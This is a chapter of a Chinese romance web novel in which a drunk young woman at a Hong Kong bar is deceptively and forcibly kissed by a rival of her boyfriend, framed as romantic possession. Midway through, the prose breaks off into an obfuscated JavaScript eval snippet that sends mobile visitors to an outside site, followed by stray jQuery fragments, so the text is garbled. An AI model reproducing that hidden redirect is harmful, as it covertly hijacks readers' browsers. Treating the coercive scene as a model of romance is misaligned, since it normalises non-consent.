11
凌晨的高架桥上,几乎与黑夜沉入一体的布加迪以一个飞速向前驶进。
与此同时,凌晨的set sail 却进入了另一个狂欢倒计时。
来自城市各地的年轻人在这里尽情挥霍夜晚,第一次来到这里的温如琢却有一百个不适应。
这里实在太吵闹,令人亢奋的摇滚乐令她感到耳鸣,周围推杯交盏的热闹和她一个人独坐的氛围格格不入。
温如琢已经拒绝了三位端着酒杯搭讪的人了。
激昂的鼓点声撤下,她撑着下巴,开始欣赏台上的歌唱。
这是沈绵意最近新找的一份兼职,在一家靠近大学城附近的清吧当兼职歌手,每周只用工作三天,按周结算工资,时薪丰富,最重要的是没有其他多余工作,只用唱几首情意绵绵的情歌烘托氛围就行。
托平时练嗓子的福,沈绵意唱这种深情缓缓的情歌简直信手拈来。
她很喜欢唱陈奕迅的歌,用不大流利的粤语唱出来,还有点别扭的可爱。
温如琢点了一杯莫吉托,青柠薄荷的酸涩调,口味很像青苹果。
她听见沈绵意唱到“若爱是但求终身你问,怕只怕求其终身被困”忽然感伤起来,也许是这里的氛围使然,也许是感情真的到了一个临界点。
温如琢忽然无可自抑的悲伤起来,她仰头饮完一整杯,有点难受的想到程嘉铎。
他们这几天的关系很微妙,彼此时常不在同一个频率段上链接,有时温如琢主动和他分享生活,也只得到他一句“好”。
既冷淡,又不完全绝情,好像一根几乎要断的丝线,若即若离系在他们两个人手心。
这样的感觉令温如琢十分痛苦,沈绵意和她说酒吧是最好消解烦恼的地方,她喝了好几杯,却仍然感觉心头的烦闷未消。
等沈绵意三首歌唱完,走下台,已经看见温如琢歪歪扭扭地倒在软皮沙发上。
侍应生举着托盘着急慌忙过来:“不好意思小姐,这边上错酒了,不小心把隔壁点的酒给您上过来了。”
“这杯低酒精的果酒是您的。”
听到声音,温如琢“噌”的一下坐起来,她脑袋里昏昏沉沉,尚且还没有明白这种感觉来源于酒醉,只是非常有原则地问——“那怎么办?需要我补差价给你吗?”
“不用不用,这杯我们也给您免单了。”侍应生贴心嘱托,“伏特加的酒精含量比较高,您要小心醉酒。”
沈绵意抽了下嘴角:“Mike,你觉得她现在很清醒吗?”
“原来是意姐你的朋友,那我先溜了。”Mike赶紧溜之大吉,“别和经理说,会扣我钱的。”
“别发困,我今晚带你来是有计划的。”沈绵意蹲下来,一把将沙发上瘫倒的温如琢拉起来,非常郑重地和她说,“现在,你去洗手间补妆,我帮你约了程嘉铎过来,等会你们两个见面,该促膝长谈就谈,想擦枪走火就擦。”
温如琢没想到自己是一杯倒的酒量。
她扭过头去:“谁想见他。”
“别装。”沈绵意嗤笑一声,推了她一把,“当谁看不出来你这几天郁郁寡欢,人我已经约出来了,分手还是怎么你自己看着办,反正我当你朋友够意思了。”
温如琢“嗯”了一声,声音很小,这会酒劲上来了,其实压根没听见她说什么,浓郁的困意卷上来,她只想躺下去睡觉。
身子再度倾倒的时候,一只手伸出来托住了她的下巴。
程嘉铎皱着眉头:“喝这么醉?”
“我以为你短信里给我发的只是夸张。”
本来真是夸张,结果弄巧成拙。
沈绵意含糊地笑了下:“借酒消愁,她这几天因为你茶不思饭不想。”
温如琢真的为他做到这样吗?
程嘉铎忍不住低下头看她,酒汽将她的脸庞熏蒸绯红,巴掌大的脸庞似乎更显消瘦,两道细长的眉毛似蹙。
其实程嘉铎也不是故意不联系她,那天吵架是一方面导火索,另一方面也是见过周思珩的冲击太大,家里把他捧得太高,从小到大,他不说是人群里的第一,也称得上是精英中的佼佼者。
但真正见过权利与地位的划分,他忽然感觉到自己在人群中的漠然。
于是这段时间他一直投身在自己事业的投资里,逃不开的应酬,有时候一奋战就是凌晨,酒精上头的时候,收件箱里她发来的信息就这样被冷落。
这些天冷静思考过,他知道那天的确不是她的原因,两个人的争吵也完全是因为他没有控制好情绪。
此时此刻愧疚浮上心头,程嘉铎低声叹了口气,坐下来,让她的头轻轻倚靠在他的肩头。
沈绵意见状赶紧说:“不打扰你们了,我先走了,晚上拜托你照顾好她。”
程嘉铎“嗯”了一声,出于对女生的体贴,大晚上的,他不由多问一句,“你去哪?要不要我叫人送你?”
“不用不用。”沈绵意从口袋里掏出一张房卡,“有艳遇。”
见状,程嘉铎不再多问。
他微微颔首,偏过头目光完全凝聚在温如琢的脸上,看她一张粉面若桃花,也许是酒精与气氛的双重刺激,程嘉铎心头涌上了一股前所未有的冲动。
于是他缓缓低下头——
Mike端着一个空盘走过来,他低声唤了一句,“请问是程先生吗?”
时机抓的极准,恰巧在程嘉铎低头要与温如琢嘴唇相贴的那一秒钟。
程嘉铎不耐烦地抬起头,眸中有被人打断好事的愠怒。
Mike丝毫不怕他,低着声音和他说,“那边有位小姐让您过去找她一下。”
程嘉铎语气不快地问:“是谁?”
“她没有告诉我名字,不过她让我转告您,今晚八点的相亲约会,您已经迟到四个小时。”
话音刚落,程嘉铎脸色猛的一变。
他毫不犹豫放下怀里的温如琢,往侍应生说的方向走,临行前给了丰厚小费,叮嘱Mike照顾好她。
Mike连连点头,像个侍卫一样寸步不离。
他抬头遥遥望向二楼包厢,对吊顶处的隐形监控比了个ok的手势。
不知道什么时候,温如琢身上被披了件毛毯。
她睡的有点热,昏昏沉沉站起来准备去洗手间洗把脸,途中不小心撞到一个人,她扭过头去连声道歉,脚步仍旧未停。
就这样跌落到一个宽厚怀抱。
熟悉的衬衫领带,温如琢的手腕被男人扣住,她的指尖无力滑落,从男人凸起的喉结到衬衫丝滑面料。
白色衬衫,是程嘉铎喜欢的装扮。
温如琢眯着眼睛想要继续往上看,垂下的手掌以一种强制的姿态将她双眼笼罩,与此同时,紧箍在她腰上的手臂蓦然收紧,她下意识踮起脚,和“程嘉铎”的身体完全相贴。
他的身体发烫,气息也是。
温如琢舔了下唇,舌尖还残存酒精的苦与涩,她忍不住皱了下眉头,发誓再也不碰酒。
这个微小的动作被男人捕捉,连同含在唇齿间的一小截舌头一起。
温如琢感受到口腔里涌入一道浓烈暴虐的龙舌兰气息,男人掌控住她所有的视线,吻下的力道又重又狠,像是要侵略她口腔里所有的阵地。
是因为她喝酒了,所以他生气了吗?
温如琢有点迷糊的想,他亲吻时游走在她口腔里的舌头,好像要将一切酒精的气息都驱赶。
酒精是不好的东西,上学时老师就已经和她说过。
温如琢乖顺地仰起头,她感觉今天的吻有些与众不同,程嘉铎很少有这么强势的时候,大多数时候他只是浅浅啄一下她的嘴唇。
可是今天他连说话的机会都不给她,舌头巧妙勾住她不断退缩的心,像是一场不容许她拒绝的掠夺。
温如琢被亲的腿根发软,拽着男人领带的手指发颤。
交换呼吸的间隙,她终于找准时机,挂在肩头偏过头说了句“不行了……”语调又软又长,像是在撒娇。
头顶上方传来男人低低沉沉的笑声。
温如琢还没来得及细究,就这样在第一次的亲吻中晕了过去。
*
醒来的时候,时针已经快要指向午夜十二点。
温如琢被一道轻柔的女声唤醒,栗色卷发的女人正关切地望着她问,“小姐,你还好吗?”
Mike也抱着托盘解释:“不好意思小姐,我们这里要打烊了。”
set sail是港岛一家非常有名的清吧,更是有着午夜闭门的传统,在夜生活如同洒金一样的港岛,这家火热清吧舍下生意不做的理由
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667261|172940||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也很简单——夫人不能熬夜,十二点的钟声敲响,老板要按时回家陪老板娘。
那么。
程嘉铎呢?
温如琢揉了揉眼睛,下意识摸掉在沙发缝隙里的手机,不知道为什么,她嘴唇上火辣辣的疼,忍不住“嘶”一声。
她问:“你好,请问你见到我男朋友去哪里了吗?”
Mike挑了下眉毛,摇摇头。
倒是叫醒她的女生也跟着附和:“奇怪,我的相亲对象也不见了。”
相亲对象?
居然有人会选在这种地方相亲?
似乎看出她的疑惑,那女生笑着指着楼上的包间说,“很时髦吧,我妈说年轻人就要来这些热闹的地方才聊的来。”
“刚才聊了一个小时,我觉得我们还挺投机的,不过真奇怪,我就是去个洗手间的功夫,怎么人就没了?”
温如琢略有些分神地听着。
天太晚,又醉酒,她其实神思不太清明,恰好手里拨出的电话通了,她眼睛顷刻亮起来,“程嘉铎”三个字刚喊出口,身旁的女人同时开口——
“程嘉铎,我在这儿!”
温如琢彻底愣在原地,宛若一盆冷水浇下来,她感觉眼前好像出现了一部戏剧性的狗血大片。
她、程嘉铎和眼前的这个女孩,成为了狗血的三人行。
程嘉铎快步走过来,一把握住她的手,将她完全护在身下。
然后不由分说开口:“杨惠姗,这就是我和你说的,我的女朋友。”
“这并不是我和你不想交往的托词,同时,我希望这是我们最后一次见面。”
杨惠姗偏了下头,目光玩味地盯着温如琢打量。
也是这时候,温如琢终于明白,原来眼前的这个女人一开始就知道她的身份,那么,这位杨小姐又是带着怎样的心情过来示威?
“那么,你确定你们最终能走向婚姻的殿堂吗?”
杨惠姗轻飘飘一句话抛过来:“你们程家的门槛,会允许她踏入吗?”
程嘉铎冷冰冰地回答她:“能与不能,也不是你说的算。”
杨惠姗笑着离开,回眸一笑望过来的目光璀璨,却令温如琢浑身发凉。
她忍不住向后退了一步,挣开程嘉铎握住的手。
他说的不错,能与不能,的确不是其他人可以说的算。
可是她想听到的不是这个答案,他似是而非的态度,恰巧将心里最深一层的阴霾勾起——温如琢开始正视他们的关系。
一切真的建立在平等的基础之上吗?
他们真的会有未来吗?
与此同时,程嘉铎转过身,急着向她开口,“我也是刚刚临时接到电话,我赴约只是想和她说清楚。”
刚刚?
刚刚我们不是还在接吻吗?
温如琢迷惑不已,酒精令记忆缺失,她有点脑袋发痛地看着眼前的一切,无意瞥到程嘉铎穿着的白色衬衫,那里显然少了一根领带,显得有点空落落的单调。
看到温如琢视线落在领带,程嘉铎也心虚移开目光。
杨家对他紧追不舍,最后居然扯着他的领带调情。
程嘉铎嫌恶心,随手扔进垃圾桶里。
为了转移她的注意力,他非常殷切地握住她的手开口。
“皎皎,我们和好吧。不要因为任何人,影响我们的感情。”
被迷迷糊糊的抱住,感受到手掌之下炽热的后背,温如琢神情微微愣怔,今晚的一切都太过迷幻,显然超出了她的脑容量承受范围。
她略一偏头,却不期与二楼栏杆边的男人对视。
周思珩端着一支高脚酒杯,躬身撑在栏杆上,漫不经心晃动着杯中的酒液,捕捉到她抬起的目光,在她流露的惊慌失措里得逞一笑。
他打了个响指,一旁的Mike立刻恭恭敬敬送上一只创口贴。
尺寸刚刚好,恰好遮住她唇边的小小伤口。
温如琢瞳孔猛的一缩,一件几乎难以想象的真相缓缓浮现在她眼前,她满脸不可思议地仰头望着周思珩,下意识向后退了一步。
也因为仰头的动作,看清了他的唇形。
男人拱起的肩胛犹如匐匍的巨兽,薄情寡淡的唇微启,慢条斯理看着她后退的动作说——
“你逃不掉。”